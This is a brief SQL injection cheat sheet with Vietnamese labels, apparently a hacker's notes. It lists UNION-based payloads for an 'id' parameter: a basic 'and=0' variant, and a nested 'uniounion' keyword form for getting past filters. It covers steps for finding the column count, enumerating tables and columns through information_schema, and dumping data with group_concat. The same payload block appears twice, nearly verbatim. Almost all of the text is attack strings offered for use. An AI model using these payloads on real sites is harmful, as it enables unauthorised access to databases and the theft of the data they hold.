***Dạng Basic "and=0":
**Order lỗi : id=123 and=0 UNION SELECT 1,2-- -
Get table,column,data như bt thêm "and=0" sau id.
---------------------------------------------------------------------------
************Dạng Lồng + Bypass bt:
***Order: id=-1' uniounion SELECT 1,2,3-- -
***Get table: id=-1' uniounion SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
***Get column:id=-1' uniounion SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name=0x...-- -
***Get Data: id=-1' uniounion SELECT 1,group_concat(tên cột,0x207c20,tên cột,0x207c20),3 from tên table -- -
**Order lỗi : id=123 and=0 UNION SELECT 1,2-- -
Get table,column,data như bt thêm "and=0" sau id.
---------------------------------------------------------------------------
************Dạng Lồng + Bypass bt:
***Order: id=-1' uniounion SELECT 1,2,3-- -
***Get table: id=-1' uniounion SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
***Get column:id=-1' uniounion SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name=0x...-- -
***Get Data: id=-1' uniounion SELECT 1,group_concat(tên cột,0x207c20,tên cột,0x207c20),3 from tên table -- -